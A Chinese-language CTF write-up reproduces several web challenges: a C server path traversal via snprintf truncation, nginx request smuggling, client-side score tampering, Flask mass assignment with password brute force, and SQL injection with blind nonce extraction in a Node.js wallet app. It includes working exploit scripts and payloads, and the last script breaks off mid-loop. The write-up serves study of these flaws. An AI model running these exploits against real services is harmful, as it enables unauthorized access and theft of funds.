前言

一直从去年比赛结束拖到现在,我也是个神人了

image-20250515175640703

本篇将复现Web方向全部题目(不包括PWN+Web),包括step by step

已知用火 (1) / Custom Web Server (1)

一道C语言web题,比较少见,不过仔细分析一遍后会对C语言的socket编程有初步的理解,所以我们来详细分析一下

拿到附件后发现只有srv/里的静态文件和server.c的逻辑,那就来看c程序

首先是setvbuf

image-20250513204000303

这个函数的主要作用是将标准输入、输出、错误用全缓冲放到NULL缓冲区里。

image-20250513204354557当我们在对系统进行输入与输出时,系统并不会直接从物理硬件读取内容,而是会放到缓冲区里,等触发一定条件后才会将从缓冲区内取出使用。而在这个程序里的条件就是这个全缓冲,会将我们输入的内容全放到NULL里,也就是空,这样做的目的就是让我们在标准输入和输出无法控制这个程序。

接着声明服务地址与客户端地址

image-20250513204737076

之后创建一个socket变量。这个变量有个更专业的名字叫”套接字描述字“,但为了方便理解我这里直接叫他socket变量。

image-20250513204826165

我们要想为C语言程序创建一个服务端待连接套接字(socket),就需要先创建一个变量,接着再一步步创建bind(用于为socket变量绑定地址)、listen(开启监听)、accept(收到客户端请求后确认连接)、recv(接受数据)、close(关闭连接)等,可以看下面这幅图。更详细的内容可以看这篇文章

在这里插入图片描述

这就是socket连接的大概流程,接着我们来解释一下这里参数的意思。

  1. AF_INET:这个参数意为告诉socket函数需要创建IPv4协议的连接。这个参数位为协议域(domain),又称为协议族(family),常用的协议族有AF_INET(IPv4)、AF_INET6(IPv6)、AF_LOCAL(或称AF_UNIX,Unix域socket)、AF_ROUTE等等
  2. SOCK_STREAM:这个参数意为需要创建流式套接字。这个参数位为需要创建的套接字类型,常用的socket类型有,SOCK_STREAM(流式套接字)、SOCK_DGRAM(数据报式套接字)、SOCK_RAW、SOCK_PACKET、SOCK_SEQPACKET等等
  3. 0:这个参数意为自动选择传输层协议。这个参数位为选择传输层协议,常用的协议有,IPPROTO_TCP、IPPROTO_UDP、IPPROTO_SCTP、IPPROTO_TIPC等,它们分别对应TCP传输协议、UDP传输协议、STCP传输协议、TIPC传输协议。需要注意,IPPROTO_TCP只能搭配SOCK_STREAM,因为TCP是流式传输,每个数据包之间有关联性,而不像UDP前后不分。

接着就是手动配置服务端地址

image-20250514100920738

其中,INADDR_ANY表示0.0.0.0,htonl函数的作用是将电脑的小端序改成网络字节流的大端序

接着就是绑定地址和监听,bind和listen函数如果运行成功将返回0

image-20250514101046416

listen函数的第二个参数意为最大的连接等待排队个数,因为这里暂时(下面使用了多进程)没做多线程处理,所以listen一次只能处理一个连接

image-20250514101238466

最后用accept函数确认连接,至此我们就能成功与客户端保持连接了。

接下来就是为这个连接使用fork函数创建一个子进程去运行。这样这个连接就会被挂载到这个子进程上,listen就能去处理排队里的下一个连接

image-20250514101524551

handle_client函数为自定义函数,所以我们接着来分析一下

首先声明了两个字符数组,这个没什么好说的

image-20250514101616427

接着用memset初始化,将所有数组空间用0填充

image-20250514101637434

接着将从客户端发送来的数据包内容保存到buffer数组里

image-20250514101735643

接着用sscanf将buffer里的内容用%s格式化后储存到requested_filename。例如我访问内容为http://127.0.0.1/index.php,那么requested_filename就为index.php

image-20250514101759405

这里我在分析的时候比较疑惑为什么不是整个http请求包,而是只有一个index.php,其实仔细想想就会发现,%s会读以“空格”或“换行”为截断去读取内容,而此时buffer的内容应该长这样

GET /index.php HTTP/1.1\r\nHost: localhost\r\n...

很明显后面有空格,所以就不会包含整个包体。算是用得挺巧妙的一个地方

之后又是一个自定义函数,不过我们先不着急看它怎么实现,从样子上大概可以看出来它是用来返回500.html的页面内容

image-20250514103037635

接着来到这句

image-20250514103100182

FileWithSize是一个自定义结构体

image-20250514103136709

也就是最后的返回值是这两个变量。read_file也是FileWithSize类型的自定义函数,跟进一下

image-20250514103318616

上来又是一个自定义函数ends_with,继续跟进

image-20250514103348064

一个很简单的判断逻辑,判断后缀名是否相等。这里strncmp函数作用是判断第一个参数位是否和第二个参数位相等,第三个参数位表示判断长度。不过这里当时看到字符串text和整型text_length拿来加减有点懵,经过查阅后得知C语言中字符数组如果被拿来加减,其实就会改变其指针指向的位置,这里的运算操作就恰好能让指针落在后缀名里的.符号上,是第二个利用得很巧妙的地方

因此我们可以得知只能用这四种后缀名。回到read_file

image-20250514104009014

定义数组和赋值,snprintf意为将第四个参数位中的值和第三个参数位中的值拼接后,为第一个参数位输入第二个参数位的值的长度的值。也就是说我们不能为real_path输入超过1024个字符,包括public/。并且,根据snprintf的特性,它允许输入的内容长度大于第二个参数位的值,甚至是第一个参数位的数组大小,因为它只会输入第二个参数位那么多的字符,这正是漏洞点。

因为public/恰好占了7个字符,如果我们将filename的数量控制在1019个字符(因为在handle_client中的sscanf存在一个/,所以发包的时候记得从第一个/之后开始算起),且最末尾为.js(当然也可以是其他几个允许的后缀),这样就恰好能将.js排除在1024之外,并且根据后文的内容可以得知real_path为读取文件内容的路径,这样就能轻松地达到读取任意文件的目的

image-20250514104809595

已知用火 (2) / Custom Web Server (2)

为了彻底搞清楚这题的原理,耗了我很久的时间去验证read从socket缓冲区写入到buffer中的字节数以及发包个数。并且到我发稿前在网上并没有找到漏洞利用的详细说明,大部分wp认为填充字节是为了绕过nginx,其实并不是,且没有对为什么要发送三个包作出详细说明。接下来我们来仔细分析一下

C程序部分和上题一模一样,不过C程序这次并不暴露端口了,而是用nginx套了一层

image-20250514105231101

image-20250514105553233

用stream模块处理数据流,做反向代理

如果直接拿上一题payload打会400

image-20250514105902921

这是因为Nginx 在处理 HTTP 请求时会对 URL 进行规范化处理,包括移除冗余的路径分隔符(/./)和解析路径遍历(../),这些路径在规范化后可能会导致无效路径或超出 Nginx 的处理范围(https://joshua.hu/proxy-pass-nginx-decoding-normalizing-url-path-dangerous#nginx-proxy_pass)

其实从nginx配置文件里就能看出,除了上面这一点,nginx并没有对我们发送的内容做什么拦截,也没有说每个数据包的大小限制是多少。因此我们可以暂时不看nginx,而是重新关注一下C代码

在思来想去后,觉得最后的利用点依然是利用第一题的payload路径穿越读取文件,但要怎么把这个被nginx干掉的payload带进去呢?这里我就想到了请求走私,也就是让nginx只认第一个包,把第二个包当作是第一个包的body而不是header,就能达到这个目的。

那么我们可以来初步构造一个payload,大概长这样

GET /index.html HTTP/1.1
Content-Length: 1024
Host: localhost

GET /////(因为原payload比较长,这里我就不全部粘贴了)/../flag.txt.js   #这一行一共1024个字符,./.和///两种payload均可,只要能凑够字符个数

如果这个包发给nginx后会发生什么呢?首先nginx看到你的包体很正常,原样放行给server。server接收到后将这个数据包所有字节存放在socket接收缓冲区,并交给handle_client函数处理,在handle_client中由read进行读取。

image-20250515171658649

我们可以使用下面这段代码来看一下buffer到底读了什么

image-20250515172642835

输出结果会是16进制字符,进docker logs env-web-1复制到cyberchef里看一下就可以得到buffer

read只会将1024个字节存入到buffer,所以它会将下面这部分存入到buffer

GET /index.html HTTP/1.1
Content-Length: 1024
Host: localhost

GET ////(省略一大段)/  #最后的/就是第1024个字符

此时我们会发现,第二个请求并没有被完整的读取,还没读到最后的flag.txt.js就停了,所以我们得想个办法让read读到完整的第二个请求。怎么办呢?往第一个请求里塞东西就好了

GET /index.html HTTP/1.1
Content-Length: 1024
Host: localhost
Foo: aaa(省略一大段,一共931个a,和上面的请求头与下面的\r\n加起来一共1024个字符)aaaa

GET /////(省略一大段)/../flag.txt.js

同样发送给nginx,nginx不会觉得有异常,照样转发给server。read读完第一个请求后,会先对这个请求进行build_response,将index.html的内容返回给我们。接着再读取第二个请求,第二个请求尽管没有请求头,但如果仔细阅读C代码会发现其实它根本不在乎你的请求头,只在乎你GET /后面的东西。因为你的请求头会随着HTTP/1.1前的空格被截断掉,这在上一题中就有介绍

image-20250515173611270

接下来,理论上来说flag就应该返回给我们。但事实上并没有,我在这个地方琢磨了非常久,直到我使用tcpdump在env-proxy-1容器里抓到这个包

image-20250515173910115

我的nginx在收到从server发来的第二个请求的回包时主动给server一个RST,我便恍然大悟。之所以接收不到flag的回包,就是因为nginx不认识这个回包,认为这个回包有错误,所以就会把它丢掉。而这个回包究竟长什么样,我们可以使用第一题里没有nginx的容器得到答案

image-20250515174253951

我们在第一题只执着于获得到flag,很容易忽略这个回包到底长什么样。可以看到,这个回包里携带了两个响应头,且格式混乱,nginx当然不认识,所以才会给server一个RST。为了解决这个问题,我们就得让第三个包的响应也变得有意义,这样nginx才能将第二个包的内容也返回给我们。要做到这一点,就是让第三个包变的正常。那么正确做法就是追加一个再正常不过的包,最终数据包如下

GET /index.html HTTP/1.1
Content-Length: 1024
Host: localhost
Foo: aaa(省略一大段,一共931个a,和上面的请求头与下面的\r\n加起来一共1024个字符)aaaa

GET /////(省略一大段)/../flag.txt.jsGET /index.html HTTP/1.1\r\nContent-Length: 0\r\nHost: localhost\r\n\r\n

要注意,.js必须和GET紧贴在一起,因为s恰好是第二个包的最后一个字符,所以为了让read对第三个包正常解析,必须紧贴着,不能换行。最后引用题目作者Mystiz的exp作为本题结束

from pwn import *
import time

# add slashes to make the entire string 1019 bytes long
# in this way, we will push out .js at the very end while real_path is constructed in read_file
def pad(path):
    assert len(path) <= 1016
    prefix = '/' * (1016 - len(path))
    suffix = '.js'
    return prefix + path + suffix

if __name__ == '__main__':
    r = remote('localhost', 8081, ssl=True)

    path = pad('../../flag.txt')
    payload = (
        'GET /index.html HTTP/1.1\r\n'
        'Content-Length: 1024\r\n'
        'Host: localhost\r\n'
        f'Foo: {"a"*931}\r\n'
        '\r\n'

        # smuggled request
        f'GET /{path}'

        'GET /index.html HTTP/1.1\r\n'
        'Content-Length: 0\r\n'
        'Host: localhost\r\n'
        '\r\n'
    )

    r.send(payload.encode())
    r.interactive()

在研究这题时我还发现一些小细节,例如curl会自动添加user-agent等头部,且没有相关参数关闭自动添加,只能用-H手动设置为空;burpsuite默认会自动识别并修改Content-Length,在下图可以关闭

image-20250515175512415

新免費午餐 / New Free Lunch

一道step by step,我是一血,可惜没截图哈哈

一个别踩白块游戏,300分拿flag

image-20250515215417644

看一下页面代码,可以看到是前端算分,猜测后端只做对hash对校验,不做对分数的校验。

image-20250515215508719

所以直接在console改好分数执行一遍,发包就行

image-20250515215646566

image-20250515215659434

image-20250515215711995

另外,这题在搭建的时候碰到了一个原因未知的小问题。在我macos的docker desktop环境下直接docker-compose up -d虽然能正常起容器但无法正常访问,于是我便打算进容器看看怎么回事,进去后发现啥工具也没有,想apt又只有www权限没法安装,所以就改了一下USER重新部署

image-20250515220432685

启动后发现….就莫名其妙的可以访问了?工具都还没装呢,不清楚为什么。如果你也碰到这个问题或许也可以试试改一下权限,可能是apache没正常启动,也可能是我macos的原因

米斯蒂茲的迷你 CTF (1) / Mystiz’s Mini CTF (1)

python代审做得比较少,这题好好分析一下。

这题目录结构其实很简单,app下用来放主程序,还有个叫migrations的放了一个env.py和一个versions目录,粗看env.py不知道是干嘛的,看了versions里层次分明的表结构确定这是个数据库。

image-20250518180111706

image-20250518181256292

知道大概功能后回来看主程序,从app.py看起。

image-20250518181356796

运行几个引用进来的包的init_app函数,先看看这个引用的config.json

image-20250518181619202

发现是用了个sqlite,推测是刚才那个数据库文件生成的。所以继续往下看,会发现views不是单一文件,而是一个文件夹,所以从__init__.py看起。

image-20250518183517410

发现它定义了一个MethodView的继承类GroupAPI,粗看名字没法看出是干嘛用的,不过经查阅后发现这个父类的get函数就是用来处理get请求的,post也一样。所以主要看它怎么处理请求就行。

可以看到它接收了一个group参数,判断它的开头是不是_,并检查它在model中是否存在。如果满足这个if就创用collections.defaultdict创建一个空列表,用for循环逐个读取group里的值。那么,这个model是从哪传进来的呢,往下看init_app会不会有线索

image-20250518184212545

init_app就是注册flask蓝图,也就是为这一整个项目注册几个跨模块的路由。看看这个register_api函数是干嘛的

image-20250518184330936

蓝图注册完需要添加到flask的路由表里,所以这个函数的目的就是让刚才注册的路由生效。接着看一下根路径pages.py在干什么

image-20250518184848464

基本上就是把.html文件返回回去,没什么特别的地方。一样的方法看完api目录下的几个文件后发现,除了admin目录下的逻辑外,其他路由只要想访问,只要登陆就行。也就是说,任何人都可以访问这个api。那么这个时候就很容易想到用自己的账号去读取别人的内容。我们回到刚才的versions数据库文件里,看一下有几个用户

image-20250522103336028

只有两个,并且密码也在这里做了定义

image-20250522103359674

urandom意思是返回一个有n字节那么长的随机字符,player的密码只有3字节,是可以爆破的,一会儿再爆

所以我们尝试用上面分析的group来读取一下User类存储的密码。

打开网页后先正常注册一个用户,不登陆也是可以的,api没有对登陆状态做限制

image-20250522110830180

可以看到有几串很长的字符串,很明显不是urandom(3)生成的,而是经过了一些别的加密算法。回到代码,看看是谁干的

在User类的属性有这些

image-20250522114023848

发现这个监听器

image-20250522112917415

意思是当User类中的password变量属性发生改变后就出发这个监听器下面的函数,进行加密。而这个变量什么时候会变化呢?

image-20250523192837098

第一次赋值的时候肯定会。也就是从db中读出来后就会马上触发并加密。此时我们来看一下这个加密函数是怎么操作的

image-20250523193019991

盐是一个4字节的随机数,不过并不需要爆破,而是可以直接获取

并且可以在数据库中看到,flag1存在于两个地方。一个是challenge,一个是player用户的attempts。所以我们同样将这两个类都看一下

image-20250524151453884

challenge类特地为flag变量做了加密

image-20250524151524712

attempts类没有做加密,当用flask的登陆状态检测工具检测当前登陆的用户是否是数据库里对应的

因此至此为止我们的思维链条有了个大概的雏形

获取player用户的加密后密码->爆破密码->登陆->读取attempts

所以我们拿着刚刚读到的加密后的密码来写个脚本跑就行

image-20250524152249441

爆破速度很快,基本上不用等。然后就可以登陆了

image-20250524152328165

看到有解题记录说明登陆成功。然后读就行

image-20250524152423674

米斯蒂茲的迷你 CTF (2) / Mystiz’s Mini CTF (2)

flag2只被藏在一个地方,就是一个还未被发布的challenge

image-20250524152730333

image-20250524152749147

意思就是365天后才会被发布。我们肯定不可能干等,来看看还有一个admin用户还有没有利用价值。一般admin用户应该是可以看到所有题目的。密码肯定是不可能爆破了,此时应该想想能不能自己搞个新的管理员用户而不是用原来的admin

通过搜索找到注册逻辑

image-20250524153913278

直接把发过来的表单原封不动放到User类,直接添加到库里

image-20250524154024208

image-20250524154304933

所以直接在注册表单里加上参数就能自定义自己是管理员

image-20250524154354010

进来后发现比普通用户多了个Manager,说明越权成功

image-20250524154418318

但啥也点不了

image-20250524154452356

在代码里可以发现这个坏作者啥也没实现

image-20250524154525081

所以管理员有啥用呢?看回Challenge类,会发现有一个管理员专属的admin_marshal函数

image-20250524160604970

感觉和上面普通的marshal也没什么区别,但这不是关键。我们先来研究一下为什么刚才直接用/api/challenges?group=flag无法获取未发布题目的信息

image-20250524160713703

可以发现在这里有一个__get__函数,判断是否释放时间已经小于当前时间,并返回满足条件的条目。并将这个函数赋值给了query_view变量,在views目录的__init__中就是直接饮用这个query_view来达到访问内容的目的,之后再访问marshal函数读取内容

image-20250524161025839

那admin_marshal呢?看看有哪些地方用了admin_marshal

image-20250524161405813

就一个,跟进,发现这就是刚刚作者使坏不写代码的那个文件

image-20250524161426103

可以看到当他以get方法被访问时就会调用并由前端解析,前端只保留了无关紧要的信息。所以我们直接抓包访问一下试试

image-20250524161637678

发现确实是json,但flag还是被加密。不过不要忘了这个flag也被放在了题目描述里,搜一下题目就能找到

image-20250524161725877

⚡/zap

这题当时没看(可能是看到nodejs+ETH以为是纯区块链的题就没看了……),我在网上也没找到有人对这题的分析和复现,所以应该又是全网第一篇wp🤭

因为这题涉及到一些区块链的小常识,所以就来一起顺便学习一下

首先找FLAG在哪

image-20250527204137661

会发现只有一个地方允许获取flag,所以应该就是利用这个地方没跑

image-20250527204236841

这个注释的意思就是作者并没有写实际的提现操作,只是弹了个json回来。而要我们要做的是触发else里的内容。条件就是amountInWei这个变量要大于10**18。这个是什么意思呢?在ETH中,打包交易信息需要耗费Gas,Gas的最小单位就是Wei,1ETH=1**18Wei。结合这里的语境来看应该是要我们提现至少10个ETH才算能拿到flag。那既然是提现肯定不可能是我们自己虚构出来的,让我们回到web题最开始应该看的入口

await runQuery(db, `INSERT INTO users (account, deposit_nonce, transaction_nonce, balance) VALUES ('${process.env.SERVICE_WALLET_ACCOUNT}', '${depositNonce}', '${transactionNonce}', '1000000000000000000')`)

在index.js中可以看到,如果balance单位是Wei,那么这个系统自带用户里正好有1ETH,所以应该就是从这个账户里偷出来,只不过我们目前并不知道它单位是什么。所以我们就来分析一下能偷的点在哪

index.js除了定义路由和建表外没有别的操作,api.js最长,逻辑最多,先看api.js

image-20250529093107517

首先是登陆,从包体获账号和签名,并且将账号放到getBufferFromHex里,跟进这个函数看看

image-20250529093204320

大概就是先判断hexString的长度是否与byteLength相等,然后正则匹配/0x[0-9a-f]{N}/是否能匹配得到,最后把hexString从第二个字符位开始转换成二进制存到buffer,最后返回buffer。回到login看一下这个buffer被拿去干了什么

image-20250529093455600

暂时没做数据处理,只判断了是否return非空,所以只要输入的account符合上面所说的规范即可合格

image-20250529093631307

再往下的signatureBuffer也一样,继续往下

image-20250529093703563

出现了新函数verifySignature,跟进

image-20250529093738469

这部分做的是根据输入进来的签名和message倒推出公钥地址,用公钥倒推出地址,再判断和你输入进来的地址是否一致。 这里需要了解ETH钱包地址的基本获取方式,首先你需要一串私钥key,可以是一串随机字符,但必须满足“64 个字符的十六进制”这个前提条件(可以用key=os.urandom(32)生成,并声明key是bytes而不是string)。之后可以用key得到一个公钥,通过公钥可以得到钱包地址(这一过程可以用eth_account包的Account.from_key(key).address.lower()直接获取地址)。(所以你是可以通过暴力枚举私钥去获取一个你喜欢的地址的,比如0x88888….,当然要枚举到啥时候我也不知道)

并且我们知道,公钥肯定不止可以用来算地址,还能用来加密内容。假设我们将一个句子用公钥加密,那么当服务器知道这个句子的明文和加密后的秘文(也就是签名)后,就能在不知道你私钥的前提下倒推出公钥,以此来判断你输入的地址是否和签名中反推出来的一致,避免黑客偷梁换柱。这也就是verifySignature在干的事

验证通过后,接下来是SQL查询记录数,目的是看这个账户是否存在

image-20250530145650696

如果不存在,duplicateUsernameCount的值为0,就会掉入下面这个if

        if (duplicateUsernameCount === 0) {
            const depositNonce = crypto.randomBytes(8).toString('hex')
            const transactionNonce = crypto.randomBytes(8).toString('hex')
            await runQuery(db, `INSERT INTO users (account, deposit_nonce, transaction_nonce, balance) VALUES ('${account}', '${depositNonce}', '${transactionNonce}', 0)`)
            await runQuery(db, `INSERT INTO transactions (from_account, to_account, amount, time) VALUES ('${process.env.SERVICE_WALLET_ACCOUNT}', '${account}', '0', strftime('%Y-%m-%dT%H:%M:%SZ','now'))`)
        }
        req.session.account = account

这个if的目的是给这个之前在他这儿不存在的用户分配两个随机数,depositNonce(这个其实没用,是给作者打赏用的🥵)和transactionNonce(交易随机数,这个很重要),然后再写入数据库,并返回这个用户名的session

到此为止,我们分析完了登陆的逻辑,感觉是没什么可以直接登陆admin的漏洞,并且我们也还不知道作者数据库里用的单位是ETH还是Wei。所以接下来就来分析一下转账逻辑有没有缺陷

image-20250530150522218

前面几行没什么好说的,和刚才一样,验证格式是否符合要求。

image-20250530150610207

不过接下来就马上把我们输入进来的amount做了放大,说明我们输入进去的转账金额单位是Wei,继续往下看

        const [{ balance: fromBalance, transaction_nonce: nonce }] = await runQuery(db, `SELECT balance, transaction_nonce FROM users WHERE account = '${fromAccount}'`)
        if (amountInWei > fromBalance) {
            return res.status(400).json({ 'error': "You don't have enough funds." })
        }

到SQL中获取汇款地址的余额,并且直接和我们扩大后的amountInWei做比较,所以可以推断balance单位就是Wei,也就是服务器钱包里只有一个ETH。到这里,如果我们只是单纯把ETH偷出来肯定是不够的,所以一定有什么办法可以凭空生出ETH,只是我们还没找到方法,继续分析

image-20250530150925744

和login里的一样,验证地址一致性

image-20250530150957584

查询收款地址是否存在

const newNonce = crypto.randomBytes(8).toString('hex')
        await runQuery(db, `UPDATE users SET balance = balance - ${amountInWei}, transaction_nonce = '${newNonce}' WHERE account = '${fromAccount}'`)
        await runQuery(db, `UPDATE users SET balance = balance + ${amountInWei} WHERE account = '${toAccount}'`)
        await runQuery(db, `INSERT INTO transactions (from_account, to_account, amount, time) VALUES (
            '${fromAccount}', '${toAccount}', '${amountInWei}', strftime('%Y-%m-%dT%H:%M:%SZ','now')
        )`)

在users表给汇款用户更新余额和交易随机数,并在transactions表记录转账记录。至此也差不多分析完了转账的大致逻辑

那么漏洞出现在哪呢?回归web题的本质,其实很容易看出这里所有的SQL查询语句用的都是拼接,可以直接进行SQL注入。但并没有传统注入题的回显点,只会在后端默默执行,并且是sqlite,所以想用SQL注入获取权限是不现实的,就算看到表数据也没用,这里没有涉及到任何密码之类的敏感信息(除了nonce),拿到flag的前提是在/withdraw路由成功提现10ETH。

所以就把重心放在获取ETH上,再回想一下,什么地方操作了ETH余额?只有一个地方,只有转账的这两句SQL

await runQuery(db, `UPDATE users SET balance = balance - ${amountInWei}, transaction_nonce = '${newNonce}' WHERE account = '${fromAccount}'`)
await runQuery(db, `UPDATE users SET balance = balance + ${amountInWei} WHERE account = '${toAccount}'`)

我们的目的肯定是加而不是减,所以进一步缩小目标到这一句上

UPDATE users SET balance = balance + ${amountInWei} WHERE account = '${toAccount}'

可以操作的地方有两个,amountInWei和toAccount,在amountInWei注入不太现实,因为amountInWei来自于amount,而amount经过了一次BigInt,所以其结果必定是数字,那么就只有toAccount有操作空间

为了研究payload,我们创建一个库,并创一个没有随机数简单的表,插入两个实验数据

image-20250530153143790

接着就可以开始尝试了。我们现在来模拟一下,假设admin向8888转账10

image-20250530153401719

如果此时我们在第二句插入一个SQL注入里最喜闻乐见的or 1=1,让原本用于定位的where account='0x8888'变成where account= '0x8888' or 1=1 -- ',会发生什么?

image-20250530153746920

会发现神奇的事情发生了,admin的金额不但没减少,8888的金额依然增加了,这是因为or 1=1满足了恒等于true,就可以匹配到所有用户,让 account=‘0x8888’失效,而这也是我们攻击的核心,能够让ETH凭空出现。

验证了可行性,接下来就是实现了。不过凭空出现的前提是汇款账户必须要有,不然就过不了下面这部分,就到不了转账

 const [{ balance: fromBalance, transaction_nonce: nonce }] = await runQuery(db, `SELECT balance, transaction_nonce FROM users WHERE account = '${fromAccount}'`)
        if (amountInWei > fromBalance) {
            return res.status(400).json({ 'error': "You don't have enough funds." })
        }

并且在下面验证签名的时候,还用到了交易随机数

image-20250530154316891

而目前也只有服务器自带的那1个ETH,所以我们要想办法将fromAccount设置为这个地址并通过签名验证。要通过签名,就需要知道交易随机数,那么交易随机数要怎么获取呢?回到分配它的/login接口里,能帮我们判断内容是否正确的只有这一个地方

image-20250530155145706

我们可以构造这样的payload

0x8888' or account = '{SERVICE_ACCOUNT}' and transaction_nonce like '{guess}%' -- 

这里的SERVICE_ACCOUNT是服务器钱包地址。之所以要加这句的原因就在于AND优先级高于OR,当or前面的语句不满足时,就会以or后面的为准。而这个0x8888肯定是之前没登陆过的新地址,所以自然只会生效or后面的部分

如果sql语句执行成功,语句就不会出错,就会返回状态码200,如果出错了就会返回500,也就是报错盲注。那么我们就可以写一段py脚本来完成这个盲注。并实现一下登陆和签名

from rich.progress import track
import os
import requests
from eth_account import Account
from eth_account.messages import encode_defunct

def sign(message: str, key: bytes) -> str:
    message_hash = encode_defunct(text=message)    
    return '0x' + Account.sign_message(message_hash, key).signature.hex()

def get_address(key: bytes) -> str:
    return Account.from_key(key).address.lower()


def login(key: bytes, account: any, s: requests.Session=None) -> str:
    if s is None: s = requests.Session()
    message = f'I am {account} and I am signing in'
    signature = sign(message, key)
    return s, s.post(f'{HOST}/api/login', json={
        'account': account,
        'signature': signature
    })



admin_transaction_nonce = ''

    for i in track(range(16)):
        for k in '0123456789abcdef':
            guess = f'{admin_transaction_nonce}{k}'
            account = f"{address}' OR account = '{SERVICE_ACCOUNT}' AND transaction_nonce LIKE '{guess}%' -- "
            
            _, r = login(key, account, s)
            if r.status_code == 200:
                admin_transaction_nonce += k
                break
        else:
            assert False, 'skill issue'
    return admin_transaction_nonce

但如果直接这样打是打不通的,因为我们很容易忽略最开始的getBufferFromHex对输入内容规范化过滤。我们必须输入40字符长度(不含0x)的以0x开头的hex,而不是想输什么就输什么,后面的一大串SQL语句已经远远超过了40字符。所以我们要绕过length和RegExp

 if (hexString.length !== 2 + 2*byteLength) return
    const regex = new RegExp(`0x[0-9a-f]{${2 * byteLength}}`)
 if (!regex.test(hexString)) return

方法也很简单,在js中,.length是不会判断你的类型的,所以长度我们可以用数组绕过。而RegExp.test会自动将非字符串类型转换为字符串(类似触发toString)再进行比较,所以我们只要将SQL语句放在一个长度为42的数组的第1位,就能同时满足这两个条件

所以修改一下脚本就变成

    for i in track(range(16)):
        for k in '0123456789abcdef':
            guess = f'{admin_transaction_nonce}{k}'
            account = [f"{address}' OR account = '{SERVICE_ACCOUNT}' AND transaction_nonce LIKE '{guess}%' -- "] + \
                      ['' for _ in range(41)]
            
            _, r = login(key, account, s)
            if r.status_code == 200:
                admin_transaction_nonce += k
                break
        else:
            assert False, 'skill issue'
    return admin_transaction_nonce

这样我们就能得到nonce。得到nonce后就要想怎么登陆服务器钱包。因为登陆的时候要签名,而签名是需要用公钥加密的,我们能得到的信息只有明文和服务器钱包地址,不足以推出公钥,就不知道它的签名到底长啥样。所以我们还是得用SQL注入的方式让fromAccount变成服务器钱包地址。和上面爆破nonce的原理大致相同,不过这次我们在用服务器地址转账前肯定要先登陆一遍。下面是payload

{address}xx' OR account = '{SERVICE_ACCOUNT}' -- 

之所以要在address后面加xx,就是为了让SQL执行时按OR后面的条件匹配,这样就能用管理员的账户给我们转账。所以我们接着补全代码

def steal_admin_funds(admin_transaction_nonce: str, key: bytes):

    address = get_address(key)

    # The first session. This is used to steal admin's fund
    account1 = [f"{address}xx' OR account = '{SERVICE_ACCOUNT}' -- "] + ['' for _ in range(41)]
    s, r = login(key, account1)
    assert r.status_code == 200

    # The second session. This is used to receive the funds
    account2 = address
    _, r = login(key, account2)
    assert r.status_code == 200

    r = transfer(key, account1, account2, admin_transaction_nonce, s, amount=1)
    assert r.status_code == 500

这里有个细节,就是最后一行的结束条件是assert r.status_code == 500而不是assert r.status_code == 200。原因是转账时我们的payload(account1)会被填充到fromAccount,而fromAccount会经过这里

image-20250604155540484

就会导致报错,所以要以500状态码结束。

至此,我们就能将管理员的1ETH偷出来。接着就是实现上面我们研究的隔空生成。由于每次最多只能生成fromAccount的账户余额数(比如fromAccount有2个,那就只能凭空给每个账户生成2个),所以我们的思路有两种

  • 创建10个新的待收账户,生成一次后挨个转到自己的账户里
  • 创建1个新的待收账户,用循环在每次生成完后转到自己账户里

两种方法都可以,但是第二种方法更cool一点,所以来研究一下第二种方法

我们现在一共需要有三个账户,一个是自己最后提现用的账户,一个是用来生钱的payload,还有一个就是给我们倒手的账户。也就是下面这样

账户余额
11
20
30

第一次转账,1转给3,3的payload生效,变成这样

账户余额
11
21
31

因为1要被减一遍,所以还是1,接着2转给1,就变成这样

账户余额
12
20
31

以此往复即可。所以payload就是下面这样(注意payload里的account2不重要,主要是为了满足最开始登陆的格式要求,改成1也行,只要能过格式)

账户payload
1正常账户
2正常账户
3{account2}’ or 1 –

最后直接贴完整exp

from rich.progress import track
import os
import requests
from eth_account import Account
from eth_account.messages import encode_defunct

HOST = 'http://localhost:3000'
SERVICE_ACCOUNT = '0x71f30b7b29846a5deb9a0913b3c240b61ae027f7'

def sign(message: str, key: bytes) -> str:
    message_hash = encode_defunct(text=message)    
    return '0x' + Account.sign_message(message_hash, key).signature.hex()

def get_address(key: bytes) -> str:
    return Account.from_key(key).address.lower()

def login(key: bytes, account: any, s: requests.Session=None) -> str:
    # account should be a string, or a list of strings

    if s is None: s = requests.Session()
    if type(account) == str:
        message = f'I am {account} and I am signing in'
    else:
        message = f'I am {",".join(account)} and I am signing in'
    signature = sign(message, key)
    return s, s.post(f'{HOST}/api/login', json={
        'account': account,
        'signature': signature
    })

def transfer(key: bytes, from_account: any, to_account: any, nonce: str, s: requests.Session, amount) -> str:
    # Note: s needs to be a session signed in by "from_account"
    if type(from_account) == str:
        from_account_str = from_account
    else:
        from_account_str = ','.join(from_account)

    if type(to_account) == str:
        to_account_str = to_account
    else:
        to_account_str = ','.join(to_account)
    
    message = f'I am {from_account_str} and I am transferring {amount} ETH to {to_account_str} (nonce: {nonce})'
    signature = sign(message, key)
    return s.post(f'{HOST}/api/transfer', json={
        'to_account': to_account,
        'amount': amount,
        'signature': signature
    })

# ===

def leak_admin_transaction_nonce():
    s = requests.Session()

    # Random key for leaking transaction nonce
    key = os.urandom(32)
    address = get_address(key)

    admin_transaction_nonce = ''

    for i in track(range(16)):
        for k in '0123456789abcdef':
            guess = f'{admin_transaction_nonce}{k}'
            account = [f"{address}' OR account = '{SERVICE_ACCOUNT}' AND transaction_nonce LIKE '{guess}%' -- "] + \
                      ['' for _ in range(41)]
            
            _, r = login(key, account, s)
            if r.status_code == 200:
                admin_transaction_nonce += k
                break
        else:
            assert False, 'skill issue'
    return admin_transaction_nonce

def steal_admin_funds(admin_transaction_nonce: str, key: bytes):
    """Steal 1 ETH from admin"""

    address = get_address(key)

    # The first session. This is used to steal admin's fund
    account1 = [f"{address}xx' OR account = '{SERVICE_ACCOUNT}' -- "] + ['' for _ in range(41)]
    s, r = login(key, account1)
    assert r.status_code == 200

    # The second session. This is used to receive the funds
    account2 = address
    _, r = login(key, account2)
    assert r.status_code == 200

    r = transfer(key, account1, account2, admin_transaction_nonce, s, amount=0.01)
    assert r.status_code == 500

def prepare_enough_funds(key1: bytes):
    """Repeatedly double the funds until we have enough ETH for the flag"""

    key2 = os.urandom(32)

    address1 = get_address(key1) 
    address2 = get_address(key2)

    account1, account2 = address1, address2
    account3 = [f"{address2}' or 1 -- "] + ['' for _ in range(41)]

    s1, r = login(key1, account1)
    assert r.status_code == 200
    s2, r = login(key2, account2)
    assert r.status_code == 200

    for k in range(10):
        r = s1.get(f'{HOST}/api/me')
        nonce = r.json().get('transaction_nonce')
